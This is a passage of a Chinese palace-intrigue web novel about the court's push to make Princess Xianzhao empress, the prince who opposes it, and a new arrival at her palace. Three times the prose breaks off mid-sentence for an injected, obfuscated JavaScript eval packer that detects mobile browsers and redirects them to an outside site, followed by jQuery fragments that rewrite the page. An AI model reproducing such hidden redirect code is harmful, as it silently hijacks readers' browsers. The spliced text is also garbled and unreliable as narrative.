他从容不迫，“皇后之位重中之重，品德、才学、身份、仪态、谈吐等等，皆需落落大方，不可有半分瑕疵。微臣以为，京师之中有能力担得起万千美好的女子，唯有……”
“太傅大人慎言！”
蔫润知再也忍受不得，霍然出列朗声制止，“京师之中贵女无数，品行到底为何还需仔细考察，并非单凭一句话、一件事便能彻底下定论的。
陛下后宫已有两位妃嫔，且明昭王朝已有四年未曾纳入新的贤才。在此之前，当务之急乃是科举之事，为王朝选拔忠良的士子，以忧国忧民之心，为国为民之志。
皇后之事还需仔细考量，何必急切？”
被他这么一打断，庆如韩便也不好再继续言语。
皇后的人选在明面上无人提及，众臣心中却都默默持着同一个念头，他们也深知那位在醇亲王心中的分量，贸然开口，恐怕会招致君臣之间的不和，生出嫌隙。
宗室子弟稀少，且都以醇亲王为首，更不能轻举妄动。
所幸现在时机还早，只要有人开了这个口，便算是过了明面，之后就不必再提。届时只需一道圣旨，便可彻底定下皇后的人选。
这样也不算辱没了皇族血脉。
朝堂之上这般喧哗，萧墨凌好脾气地劝解了几句，问了一些不太要紧的政务，朝会就此结束。
离开太和殿后，萧抒紧走几步，追上前面闷闷不乐、大步流星的蔫润知。
人的潜力真是无限的，尤其是这种气势汹汹的状况下。
好不容易在宫门外与他并肩，萧抒这才气喘吁吁地开口，“润知啊，何必这般顶撞陛下呢？
女子一辈子最主要的就是寻觅一个如意郎君，贤昭早已过了嫁娶的年纪，能做皇后已是极大的恩德。你今日这般冲动，让贤昭在后宫如何自处？公主府可还未曾建成呢。”
“什么贤昭不贤昭的……”
蔫润知脚步稍稍放缓，冷嗤道：“太傅今日在朝堂上又未提及要选何人，谁又能知晓最终与三千佳丽共侍一夫的会是哪位女子。你切莫胡言，若是被我知道了，定然与你绝交。”
“哎，我们可是挚友，不至于这样绝情吧？”
萧抒夸张询问，随后搓了搓手，神色凝重道：“其实你的顾虑是对的。
若是寻常人家，妻子不想让夫君纳妾，顶多背后被人指责几句。可要是做了皇后，那可就要载入史册，必须端庄大度，谁敢任性而为呢？
贤昭公主若是收个驸马，那在公主府内便是说一不二，无人敢拂她的面子。仔细想来，确实不能让此事发生。哎，臣子们心中皆有此意，我们又该怎样阻止呢？你管的了一时，管不了一世。
待科举落下帷幕，各地官员填补完整，此事恐怕就该被提上日程了。少则三个月，多则四个月，你有何良策可解此局？”
“世事难料，谁又能预知未来的变故。走一步看一步。”言罢，蔫润知狠狠地瞪了前方官员的背影一眼。
这番举动，使得欲图前来劝和的臣子急忙离去，不敢再多言。
“润知，言语需谨慎。”萧抒左右探看，凑近他耳畔低声道：“明昭王朝政治清明，内外皆是一片祥和。你这话若被有心人传出发生意外，恐怕会遭人弹劾，甚至唾弃。”
“世人总爱将随口之言反复解析，我此话在任何场合皆可言之，随他们胡乱猜测。”
蔫润知深深看了他一眼，耸了耸肩，故作不在意地道：“若能借此吸引那些臣子的一些注意，我心甘情愿。”
此话又引得萧抒一番揶揄。
二人在宫门口拱手告别，蔫润知便上了自家的马车。
马车晃晃悠悠行驶着，夏半陪在他身侧，为他披上披风，“王爷方才那话，确实有些不妥。”
“安心。”蔫润知蹙眉思索，“本王并非小儿心智，岂会不懂得时局险恶。那番话是本王故意为之。能否传出去，本王皆无惧。现在所忧的乃是三月之后。”
“属下曾多方打听，此事……难解。”
“是吗？”
蔫润知神色略显疲倦，他揉了揉眉心，“这段时日你多培养一些暗卫，再试着与初语楼接触，看能否寻得幕后之人的线索，与他们联手。不过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533779|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行事需谨慎，切莫暴露行踪。
总归还有三个月时间，若陛下自私自利，执意要让沁澜做那谦让的皇后，那就休怪本王不顾往昔情分，为他添堵了。本王乃当朝唯一亲王，曾上阵杀敌无数，陆墨凌大致是忘却此事了。”
“王爷之意是，今日的事乃是陛下有意提起？”
“太傅是为国为民的好官，他到底年纪大了，在他眼中沁澜能成为皇后，下一任皇帝出自萧氏正统血脉，便是对太祖皇帝最好的交代。”
“可这般做，纳入后宫那么多妃子便失了作用啊？”
夏半观察着他的神色，将他心中所想说出，“就算是为了太子做踏脚石，也难免会让公主殿下忧心忡忡。
其实无论登基的是谁，皇后之位都会属于公主殿下。若换了旁人，说不定能让殿下心情舒畅，安安稳稳地过完一生。但新朝刚刚成立，此事的确不好办啊！”
蔫润知抚摸着柔软的披风，没有接话，也未曾制止这大逆不道的言论。
他抿了抿唇，眼神陡然间染上几分锐利，“陛下他应当会有自知之明，要么选择一生一世一双人，要么……”
＆
宁安宫内，饭菜香味飘散四溢，令人垂涎。
萧沁澜打发了下人出去，只留下本采一人侍候。
身为现代人，她并未与这个朝代相悖，让本采坐下与自己共同用膳。
人心叵测，若太过放纵便会脱离掌控，难免生出一些不该有的想法。
无人会嫌弃自己手中的权利与钱财越来越多。
可人心也都是肉长的，只要符合时代发展，步子别迈得太大，亦非止步不前，便能互利互赢。
眼前摆满了山珍海味，依照公主份例甚是丰盛。
萧沁澜品尝着佳肴，话着家常琐事，“听闻前朝今日正式提起了皇后一事？”
“确实。”本采用了午膳后才过来侍候，却因心中烦闷，捏着一个肉包，狠狠咬下一大口。待咽了下去，方才短暂平复好心情，恢复了些许稳重。
“太傅尚未开口，便被醇亲王当众驳回。因着时机尚早，直至散朝，此事都未曾被提起。”
“润知此言，招惹了不小的麻烦。”
“可不是嘛。原本太傅提起这事，那便是提前与大部分官员打好招呼，默许了的。可醇亲王贸然站出来反对，便吸引了许多火力。先不说定国公府，便是太后娘娘也会对王爷多有不满。”
“那陛下呢？臣子们提起此事时，他有何神情？”
“听太监来报，陛下当时眼神骤然闪亮，就连动作都显得轻松不少。他身体后倾，闲闲地拍了下膝盖，似乎对此事颇为满意。”
讲到此处，本采又愤恨地吞下大半个包子，“真是白眼狼！当初在战场上若非主子出手相救，拖回那快要死在乱枪下的陆墨凌，他怎会有机会成为帝王！”
“当时站场并非只本宫一人，你倒也不必过分自夸。”萧沁澜笑着递给她一碗羹汤，以防她噎到，“还需再添些吗？”
“多谢主子厚爱，奴婢饱了。”本采搅动着汤汁，“据传递消息的暗卫所述，二公子的属下昨夜在初语楼外徘徊良久，直至天亮方才进入，递了一封信件。”
“其他的消息呢？”萧沁澜今日进食颇丰，她抚了抚有些臌胀的小腹，蹙眉沉思，又释怀地摇了摇头，满不在乎地用手帕擦拭嘴角。
“京师安稳，一切均按照计划逐步进行，暂且没有其他消息。”
话落，本采忽而想到一事，急忙补充道：“对了，太后娘娘说，南门姑娘午膳后便会入宫。”
60. 第 60 章
大约兴远伯爵府真的是人间炼狱无疑，本采言语刚落，便听到太后身边宫娥前来传讯，言道南门姑娘已至。
饱食终日，难免困倦侵袭，萧沁澜尚无动身的意思。
依循往日惯例，太后此刻正在午休，而今骤然被外人外事惊扰，神色反应实难预料。
天穹落下淅淅沥沥的雨丝，萧沁澜神情倦怠，慢悠悠起身，“无需备轿辇，本宫走着去，权当散步消食。”
“可慈宁宫与宁安宫相距甚远，主子怎能承受劳顿？”本采紧随其后，语气担忧地提了一嘴。
“为何不能？”萧沁澜晃了晃自己的臂膀，宽袖随着她的动作飘动，“今日即便是你妹妹在场，也不是本宫的动手，你信不信。”
这便是胡话了。
本采一本正经地回应：“奴婢深信，主子定能施展绝妙轻功，自妹妹手中轻松脱身。”
居然说她只会逃跑？
“……真是没大没小，愈发不讨喜了！”萧沁澜傲然转身，华丽的裙摆随之摇曳，飘逸非凡，衣袖轻挥间带起阵阵寒风，整个动作流畅自然，风采卓绝。
一踏出殿门，她便恢复常态，端庄大方地缓缓迈出莲步，跟在俯身垂首的宫娥身侧。
“殿下……”有外人在场，本采故作懵懂无知，她上前一步，以适中的音量问道：“此时正值太后午休，不知此次召殿下前去，所为何等大事？”
萧沁澜侧眸瞥向左前方的宫娥，以同样的音量回应，“这位姐姐不是已经说了嘛，兴安伯爵家的女儿今日进宫，特来陪伴本宫。”
听到“姐姐”二字，前方的宫娥急忙回身行礼，“公主殿下真是折煞奴婢了，奴婢身份卑微，何敢当殿下如此称呼。”
“起来吧，本宫只是随口一说，不必紧张。”言罢，萧沁澜上前一步，亲自将她搀扶而起。
宫娥迅速抬眸，与她目光交汇，手指在接触她手心的瞬间快速画了一个“二”字，随后便静静地退下，神情再次恢复了之前的战战兢兢。
这一幕短暂且看似平常，无人察觉到其中的异样。
待那宫娥继续引路前行，本采这才上前，搀扶起自家主子。
她偏过头，压低声音道：“主子要小心些，这位可是太后的心腹，时常为太后处理私事，切莫被她小心翼翼的行径所迷惑。”
“喔，是吗？”萧沁澜拍了拍她的手背，侧首低声道：“本宫倒是未曾留意。幸亏有你在身边时刻陪伴。放心，本宫记下了。”
本采重重地点了点头，又警惕地环顾四周。
宫廷之中危机四伏，只要利益足够诱人，谁都有可能背叛。
就算是往昔最亲近之人，也需随时留意态度变化。
主子如今的消息全靠自己传递，又这般信任自己，日后定要更加谨慎行事，绝不能再像现在，等到太后传来消息，却还不知所为何事。
还有那个花心的狗皇帝，竟妄想享齐人之福，牺牲主子以稳固皇位，简直无耻至极。
事不宜迟，迟则生变，必须提前筹划应对之策。
手背上再次传来温热的触感，她抬眸望去。
萧沁澜眉眼弯弯，似乎察觉到了她的心神不宁，“好了，别多想，有你提点，本宫还不至于太过愚钝。”
本采如梦初醒，稍微收回思绪，注视着前方那望不到尽头的道路，神色平静如水，眼神中却透露出锐利肃穆。
＆
慈宁宫内，明远太后揉了揉眉心，凝视着下方那位一脸伤痕、仍显倔强的人影，摆手示意让她起身。
南门鸢保留着几分理智，并未直接言辞顶撞。却不知从何处汲取了勇气，竟敢公然抗旨不遵。
“臣女有幸得太后恩典，得以进宫享福，并以女子之身获得官位，按理来说应感激涕零。可臣女福薄，自知身份卑贱。夫人确实有权处置姨娘。但姨娘赋予臣女生命，养育臣女成长。天下以孝为先，姨娘在伯爵府几乎丧命。
臣女往后得太后眷顾，定然安乐无虞，唯独放心不下姨娘。
臣女还望太后娘娘收回这个官位，只恳请太后娘娘能让姨娘多活一段时日，哪怕是半年也好啊！”
字字泣血，字字慷锵有力，话落南门鸢额头触地，决绝地重重磕了一下，额头顿时泛红。
见此情景，明远太后烦不胜烦。
本就是随口一提，看在贤昭的面子上，让此女留下，好歹能照顾润知。
现在看来，润知的那些话竟是真的，兴安伯爵府的这个庶女竟胆大妄为至此。
明远太后浅抿一口茶水，语气淡然无波，“皇帝新政，哀家还需时时指导。临近年关，国家大事繁多，还未知兴安伯爵府发生了这等事情。
清官难断家务事，你身为深闺贵女，所言之事哀家也难以判断真假。且兴安伯爵的夫人出身名门，不可轻易污蔑……”
话至此处，她突然停顿。
南门鸢经历良多，立即敏锐捕捉到她话中的深意，顺势接道：“臣女明白。
此事关系重大，臣女不敢随便胡言，也不会让太后因此为难。臣女只希望姨娘能安然度过冬日，不求荣华富贵。”
她是个懂事的，也是个有心机的。
明远太后微微眯眼，若有所思地俯视着她，暗自评判。
淑妃善妒，因其父亲纳妾无数，对容貌姣好的女子抱有极大的敌意。
此女虽长相绝色，也仅是受了些轻伤，外表未见丝毫异样。
如此看来，她的姨娘也并非简单之辈。
“你能有此觉悟，哀家深感欣慰。待明日一早，哀家便会派遣教习嬷嬷前往兴安伯爵府，亲自教导你的姨娘。”
对于普通平民而言，这无疑是莫大的恩赐。
南门鸢闻言，立即磕头连行三个大礼，待起身时，额头已红肿一片。
是否真心，明远太后看的出。
她笑着与南门鸢闲聊了两句，便借口困倦，让琉薇带着她前往宁安宫。
很不巧的是，行至半路，萧沁澜刚好与之碰上。
还未来得及仔细询问，便听琉薇将前因后果复述了一遍。
“太后娘娘今日在乾清宫批阅奏折，因新帝登基头一年，年节之事尤为重要，所以与大臣们商讨了各种细节。午膳后难免感到疲惫。”
“怪臣女来得匆忙，打扰了太后娘娘。”
南门鸢垂首站在原地，不停地搅动着手帕，“太后娘娘吩咐下午前来，臣女得了命令，不敢怠慢，却……”
“姑娘放心，太后并未怪罪于你。”
“真的吗？那我姨娘……”
“太后允诺之事，自是一言九鼎，姑娘放心。”
“多谢姐姐提醒，南门鸢感激不尽。”
……
萧沁澜静默站在原地，目光深邃，审视着那一来一往的交谈。
她们倒是聊的火热，自己这一路走来的艰辛又算得了什么。
细雨如丝，谁不想吃饱喝足了美美睡一觉，太后她老人家真是＊＊……
＆
宁安宫与翊坤宫相距不远不近，位置恰到好处。
萧沁澜刚刚带着新人回到殿内，便见早已在此等候多时的淑妃娘娘。
她今日装扮华贵无比，身穿一袭织金绣凤的宫装，裙摆流光溢彩，头戴珠翠步摇，宝石璀璨，映衬着她那明艳的容颜，更显风华绝代。
初见来人，淑妃娘娘的身姿袅袅婷婷，她扶着精致的发髻，皮笑肉不笑地上前，
“呦，怪不得本宫前来寻公主殿下，宫人却说殿下去了太后那里。本宫还以为那些宫人是在敷衍本宫，没想到竟是真的。”
她转而看向垂首不语的那个女子，眼神不屑，“公主殿下这是从哪儿带回来的小贱蹄子，怎得这般无礼，见了本宫也不下跪行礼？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546532|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候尚早，现今也问不出什么来，萧沁澜本想随意打发南门鸢去偏殿住下，却不料这淑妃的消息倒是灵通，短短小半个时辰便已知晓此事，也不知是何人嘴快。
二？
莫非是祥妃？
她心思多疑，又有父兄在朝中相助，这样挑拨离间、简单粗暴的计谋，倒也像是她的手笔。
看来祥妃倒是有些本事，能知晓慈宁宫内的消息，真是不可小觑。
依着宫廷的繁文缛节，萧沁澜向淑妃微微颔首，神情犹如深潭静水，唤了句“淑妃娘娘”，声音清冷而疏离，算是打过招呼。
望月阁门前之事对淑妃而言刻骨铭心，那是她首次遭人教训，颜面尽失。
淑妃目光如同利刃，直接转向了南门鸢，勾起一抹冷笑，语气充满嘲讽与不屑，
“让我瞧瞧，这不是我那所谓的‘好妹妹’嘛？哎呦，怎得额头这般红肿，看来是为了这泼天的富贵，下了不小的血本啊！”
南门鸢沉得住气，并未动怒，“淑妃娘娘言重了。臣女不过姨娘所出，身份卑微，实在担不起娘娘这声‘妹妹’。臣女所求不过是姨娘能安然度日，别无他念。”
“怎得担不起。”淑妃抬起纤纤玉指，用力按在她的额头上。
南门鸢瞬间感到一阵剧痛，冷汗不由自主地渗出，顺着额头滑落。
看着她的痛苦表情，淑妃满意笑出了声。
“妹妹手段了得，不顾兴安伯府的颜面，竟敢给醇亲王下药。
是想要攀上高枝，成为醇亲王的侧妃吗？可是妹妹啊，以你这卑贱的身份，好像配不上侧妃之位呢。要不，你求求本宫，本宫看在姐妹一场的份上，为你勉强寻个侍妾的名分可好？”
淑妃说罢瞟了眼身旁，见贤昭公主站在一旁，并无插手的打算，脸上的笑意愈发大了。
她的动作也是毫不留情，指套尖锐无比，戳破了南门鸢的额头，血渍顺着脸颊滑落，染红了她的衣襟。
无人想要平白无故地遭受虐待。南门鸢强忍着剧痛，偏头躲开。
她未曾擦拭脸上的血渍，紧咬着牙关直直跪下，腰板挺得笔直，
“多年前，臣女曾遭遇不测落入敌营，生死一线。幸得醇亲王及时赶到，英勇无畏，救臣女于危难之中。
臣女自知身份卑微，配不上醇亲王的高贵身份，但那份救命之恩，臣女无以回报，只能铭记于心。
几年前，臣女年岁尚幼，不敢出府。那日恰巧被公主殿下所救，又值臣女及笄之年。
臣女得知醇亲王身边并无侍候之人，便起了这胆大包天的心思，想要好好侍奉王爷，无论做妾或是通房丫头，臣女都甘之若饴，绝无怨言。
若得姐姐垂怜，向陛下提起此事，求得侍候王爷的机会，妹妹定终生感念姐姐恩德，愿以卑微之身，为姐姐鞍前马后，肝脑涂地，尽全力报答这份恩情。”
她此话情真意切，字字句句都透露出她对醇亲王的深情。
萧沁澜明白，这是在向自己解释，也是在向自己求助。
当年战乱纷飞，润知确实一马当先，救过无数男女于水火之中。
也许南门鸢所说的并非虚言，确有此事。
这般深情啊……
萧沁澜意味深长，垂眸俯望着地上俯首的那道人影。
此女在府中时一向清冷持重，对一切世俗纷扰似乎都不曾在乎。
淑妃本以为能好好侮辱她一番，挫挫她的锐气，没想到她竟为了一个男人，自掉身价，变得这般没脸没皮。
“真是好生无趣。”
淑妃甩了甩手中的帕子，撇了撇嘴，“醇亲王文采斐然，身手不凡，那是何等风姿绰约的人物。
像你这种不知从哪来的贱人，怎配大长公主唯一的血脉、当朝唯一的亲王。
还想要做通房丫头，青天白日，朗朗乾坤，简直是痴人说梦，不知天高地厚。”
61. 第 61 章
“还想要做通房丫头，青天白日，朗朗乾坤，简直是痴人说梦，不知天高地厚。”
“淑妃娘娘……”
萧沁澜骤然截断了那溢出的刺耳言辞，眸光淡然如水，径直射向身侧，“身为陛下妃嫔，当秉持贤淑之德，温婉可人。娘娘作为后宫群芳之首，更应树立典范，，切莫为其他所困。”
“哼，此理本宫自然明白。”
淑妃神色微敛，心中已暗自忐忑，神情未显怯意，“进柠，本宫乏了，晚上还要侍候陛下，需养足精力。公主殿下，本宫便先行回宫休憩。你且留心此人，莫让她有机可乘，伤了醇亲王，又伤了自身……”
萧沁澜笑意温婉，微微颔首，“多谢淑妃娘娘提醒，贤昭记下了。”
待淑妃身影渐行渐远，萧沁澜方缓缓收回目光，伸手将跌坐于地的南门鸢扶起，取出一方洁白帕子，为她拂去脸颊上滑落的点点血珠，仔仔细细。
“淑妃居后宫之尊，难免心有怨怼，或有不平。
本宫虽掌管后宫繁务，但需顾及皇兄情面，难以直接介入。
南门姑娘安心，润知与本宫情谊深厚，既受托于他，本宫必倾尽所能，护姑娘周全。
你二人……姻缘，本宫不会越俎代庖。”
“臣女明白。”南门鸢低声回应，眼波流转间，泪珠如断线的珍珠顺着脸颊不太滑落。
她强忍着悲痛，涩声道：“王爷对臣女的救命之恩，臣女铭记于心，岂敢以此作为交换，更无报复之意。能得片刻安宁已是臣女此生大幸，其他皆是奢望。
若真有幸侍候王爷，臣女愿以命相报。若不可得，臣女亦将诚心祈愿，愿上苍眷顾王爷，赐他一世安康，万事胜意。”
萧沁澜似被她感动，眼眶亦不禁泛红，声音微颤，“润知性情温厚，若知姑娘情深意重，定当心生怜惜。”
二人相对而立，静默中唯有泪水诉说着无尽的心绪。
风卷残雪，拂过宁安宫华贵的宫墙，廊下细碎的冰晶随风摇曳，最终轻轻坠落，与墙面碰撞出清脆悦耳的声响。
萧沁澜紧了紧身上的厚重披风，有些受不住寒凉。
本采见状连忙趋步上前，关切道：“廊下寒风刺骨，加之年关将近，殿下务必保重凤体，不如移步殿内再详细交谈。”
南门鸢急急躬身致歉，“都是臣女疏忽。臣女感念殿下救命之恩，犹如再生父母般心生亲近，一时情难自禁，多言了几句，却未曾顾及公主殿下尊贵之躯，望殿下恕罪……”
“莫要说些胡话。”
萧沁澜淡笑道：“南门姑娘衣衫单薄，恐难御寒。本采，你赶快去取本宫新得的那几件衣裳来。南门姑娘此来突然，嘱咐下人将偏殿速速整理妥当，添置火炉，不得有误。”
“遵命。”本采应声退下，去安排一切。
“公主殿下厚爱，臣女身份卑微，怎敢……”
“不必过谦。”
这来来去去的客套话实在惹人心烦，萧沁澜打断她，上前握住她满是凉意的素手，那手背上若隐若现的冻疮映入眼帘，更添几分怜惜。
“别急，日子总会好过的。”
“……是，多谢公主殿下！”南门鸢泪光闪烁，声音哽咽，言罢泪水再也无法抑制，簌簌而下。
她慌忙转身，试图擦拭泪水，却愈发手忙脚乱，鬓边的碎发凌乱，遮住了脸庞，让萧沁澜无法窥见她的真实神情。
＆
小半个时辰的忙碌与安排，萧沁澜终是得以在殿内小憩，这一睡便是整个午后，直至天色渐暗。
殿内未点烛火，而外界却光影交错，隐隐绰绰。
“本采……”
她整理着衣衫，等了许久，只听殿内空旷的回响，与殿门处那细微清晰的轻扣声。
炭火旺盛，烧得很足。
桌上那盆温水，温度适中，仿佛特意为她准备。
萧沁澜目光掠过屏风，心中已有了几分猜测。
她不擅梳妆，仅能以发簪简单束起马尾，念及皇家颜面，还是决定稍作打理。
一番梳洗后，她随手取过锦帕，绕过屏风，拉开殿门。
月光与烛火交织，正如她所料，萧墨凌身影挺拔，早已在门外等候多时。
偏头望去，两侧侍立的宫娥太监皆低垂着头，不敢出声。
“皇兄。”萧沁澜将殿门轻轻合上，身形微弯，欠身端庄一礼。
“……嗯。”萧墨凌定定望着她这一身装扮，眼眸渐深。
一袭月白色衣裳，衣料轻柔，随风摆动，宛如晨雾中的一朵雪莲，清雅脱俗。发间仅有一支简约玉簪，素净中透着不凡，令人久久瞩目。
四年光阴流转，二人每一次相遇，不是在庄严的太和殿，便是文华殿。
且她总是身着华服，头戴金钗，这样素净的装扮倒是许久都未曾见到了。
“睡的可好？”
这话实在家常，声音过于柔和，萧沁澜抬眸注视他，浅浅笑着，“皇兄在此等候多时了吗？”
“嗯。”萧墨凌递过一个手炉，亲手为她系好披风，生怕一丝寒风侵扰了她的安宁。
“天冷，你刚刚醒来，还需多加注意。”
“好。”萧沁澜并未计较这逾矩举动，“皇兄今日怎得如此闲适，莫非前朝又有何大喜之事？”
“确是大喜。”因她的询问，萧墨凌眼神愈发深情。
看这情形，定有大臣们提及立她为后之事。
萧沁澜了然，神色未起波澜。
她自然避开高大身躯的禁锢，走向院中石桌旁，任冷风吹拂，凝视着灰蒙蒙的天穹。
“今日在乾清宫内，太傅及众卿家向朕汇报了各地情况。”
萧墨凌随着她的步伐来到院落之中，与她相对而坐，“明昭王朝各地五谷丰登，百姓安居乐业，一片祥和。”
“种种一切，皆是因皇兄圣明政策，清正决断。贤昭不才，会时刻以皇兄为榜样。”萧沁澜漫不经心，随意敷衍道。
“沁澜何必妄自菲薄。朕知你心中自有丘壑，只是不愿轻易展露。”萧墨凌眼神一瞬不瞬，仔细观察她的神色。
这是想要抛出橄榄枝，让自己甘愿做他禁脔。
萧沁澜故作不知，只浅显回道：“是，皇兄忧国忧民。贤昭身在后宫，定当时刻注约束宫人，不让皇兄烦恼。”
“沁澜，你素来聪慧。”萧墨凌眼神微眯，身体前倾，极有压迫力地直直盯着她。
萧沁澜不卑不亢，“母后也时常这般夸我。”
装傻充愣，还是被太后警告？
萧墨凌收敛锋芒，起身来到她旁侧，“你近日可有何烦心事？”
皇帝不好打发，萧沁澜未曾与他撕破脸皮，直言相拒。
她转向那紧闭的偏殿门扉，“前几日出宫，偶遇兴安伯家千金。宫中今日添了新人，想来母后已向皇兄提及此事。”
她一语双关，既道出了自己的无奈，事不由己；又借太后之威，调转矛头提醒萧墨凌，太后在宫内的权势。
这样的直白，萧墨凌如何能不明白。
他侧过身去，“太后决断非朕所能撼动。
沁澜，你的苦衷朕心知肚明；朕的难
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555731|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处与情意，亦希望你能体会。
四载光阴，你虽已收敛锋芒，不再如往昔那般张扬，但那份骨子里的傲气，又怎是随意能掩去的？
朕不能许你一世一双人的承诺，可在这后宫之中，朕愿以真心相待，宠你、爱你，无人能及。未来的皇子、太子、公主，皆会出自你腹！”
……
真是好可怕、恐怖、悚然惊人的承诺！
这个时代不知因生产死了多少妇人，自己不到二十，将来却一眼望到了头，要一刻不停地生孩子！！！
还要看着夫君与别的女子琴瑟和鸣，哪怕只是表面和睦！！！？
想起这荒诞无稽、狗彘不若的未来，萧沁澜装模作样狠狠打了个冷颤，裹了裹身上的披风。
“怎么了？是不是冻着了？”萧墨凌对她格外上心，急忙轻拍她的后背，试图为她驱散寒意。
披风很厚，除了不时漏风，萧沁澜感觉不到任何触碰，还算有些安慰。
她抿了抿唇，强打起精神，“可能是吧，今日宫内事务刚刚肃清，本以为能得片刻宁静，却不料身体竟这样的不济。殿内温暖如春，出来后又被这冷风一吹，确实有些不适应。”
萧墨凌眉头紧锁，毫不犹豫吩咐身旁的大太监去请太医，竟没有半分要走的意思。
冬日夜短，现下乃酉正时分。
见时辰尚早，萧沁澜便由着他折腾，同时唤来本采，当着他的面询问南门鸢一事。
本采作为她的心腹侍女，尽职尽责，配合着她，将南门鸢身上大大小小的伤口描绘得栩栩如生，还兀自猜测一番。
萧墨凌听说过淑妃的龌龊事迹，对她的容颜有些稀罕，但到底仅浮于表面。
淑妃宠幸几次，便经常恃宠而骄，远远比不得沁澜之前的英姿飒爽，与现在的进退得体。
听这主仆二人一唱一和，他无声叹息。
待太医匆匆赶来，萧墨凌擅自做主，唤来南门鸢，让太医为她二人把脉，确认无恙后才稍感安心。
有外人在，萧墨凌不宜久留，又说了些模棱两可的体己话，带着一大帮人浩浩荡荡离开。
宁安宫送走陛下后，萧沁澜将前来侍候的宫人全部打发走，只留下几个武艺高强的侍卫守护在侧。
“可还觉得难受？”萧沁澜手心贴在南门鸢额头上，“本宫管理皇宫上下，有时难免照顾不周。若有需求，记得及时提出。”
南门鸢刚刚喝了伤药，又因思绪过重，被灌了一碗安神汤，此刻神智有些不清醒。
她用力掐着自己手心，“殿下宅心仁厚，臣女所用皆上乘，感激不尽。”
顿了下，她话锋一转，“臣女愚钝，但知晓轻重。臣女斗胆一问，对于陛下今日所言，殿下心中可有计较？”
“本宫不过赋闲在宫，母后与皇兄高兴了，拿些物件儿赏着本宫玩儿罢了，怎会有其他想法。”
萧沁澜自嘲笑了笑，“为救润知，本宫剩下的势力已全部展露。幸得母后宽容，未加怪罪，已心满意足。其他的，便顺其自然吧。”
南门鸢垂下眼帘。
贤昭公主素来娴静，朝野上下无不夸赞她心地善良。
今日这话听来却真假难辨。
前朝时，圣德皇后便已怀有身孕。
皇后娘娘性情温婉，身边侍从稀少，常亲自为士兵缝制衣物。
那日皇后正为缺了针线而打算外出采买，不料宫中突然传旨征兵，皇后深受打击动了胎气，加之身边官员虎视眈眈，不敢轻易寻医问药。
据传贤昭公主是个死胎，不应存在世间的？
62. 第 62 章
天色灰暗朦胧，未见丝毫月光，四周高耸的朱红墙壁在此映照之下，犹如巨龙在暗夜中若隐若现，蜿蜒伸展。
宁安宫内花木凋零，绿意全无。
寒风掠过烛火，摇曳生姿间顽强不屈，却终究难以抵挡那缕缕寒意，刹那间全部熄灭，天地顿时陷入一片寂静。
“殿下，奴婢这就去取蜡烛。”
“嗯。”
院内忽然传来急匆匆的脚步声，黑暗中仿佛有两个人影相撞，猝不及防发出沉闷“哼”声。
不久后，石桌上的一排蜡烛重新燃起，院内恢复了光明。
“公主殿下沉稳持重，黑暗之际臣女实在是不知所措。如此看来，需要向殿下学习的地方还有很多。”言罢，南门鸢盈盈一礼，娇娇柔柔，用手帕拭去脸上残留的泪痕。
此女心机深沉，耐性十足，若她确实真心实意，与润知倒也不失为一桩美满姻缘。
萧沁澜笑着应了一声，随后便步入屋内，边走边道：“你既已入宫，便需学习宫中礼仪。方才尚有偏颇之处。”
自己的那些手段她必然了如指掌，南门鸢未曾装得太过愚钝。
听完此话，她故作惊喜地“扑通”一声跪倒在地，郑重地磕了几个响头。
“多谢公主殿下成全，臣女定当专心致志，一心一意地留在自己宫中，未经殿下吩咐，绝不会主动惹事生非。”
她的话语太过直白，引得萧沁澜停下脚步，回身瞥了她一眼。
一心一意，绝不会变心，且无论获得何种身份，府中新增多少人，只要他人不冒犯她，她便不会心生醋意，只管侍奉润知。
兴安伯对妾室的悲惨遭遇视而不见，听而不闻。
南门鸢的性子究竟怎样，还不得而知，但刚烈是定然的。
无人得知自己最终目的，从目前看来，润知仅是个亲王，这女子……
“本宫知晓了。本采，扶南门姑娘回偏殿歇息，务必悉心照料。”
话音刚落，萧沁澜便从容不迫地步入屋内。
“吱呀——”
屋门关闭的声音由远及近，南门鸢在本采的搀扶下缓缓起身。
能长时间跟随在侧，显然是公主的心腹之人。
得到应允，南门鸢神情激动，泪水转瞬夺眶而出，时不时抽噎一下。
片刻之后，她勉强稳住心神，带着浓重的鼻音道：“多谢姐姐，呃……臣女久居深闺，不知公主殿下偏爱何种糕点？是那日在宣王府中的……”
“南门姑娘无需多礼。”本采嘴角浅笑，与她保持适当距离，“殿下性情温和，从不涉足政务，仅管理皇宫琐事。待陛下册立皇后之后，殿下定会移居宫外的公主府。”
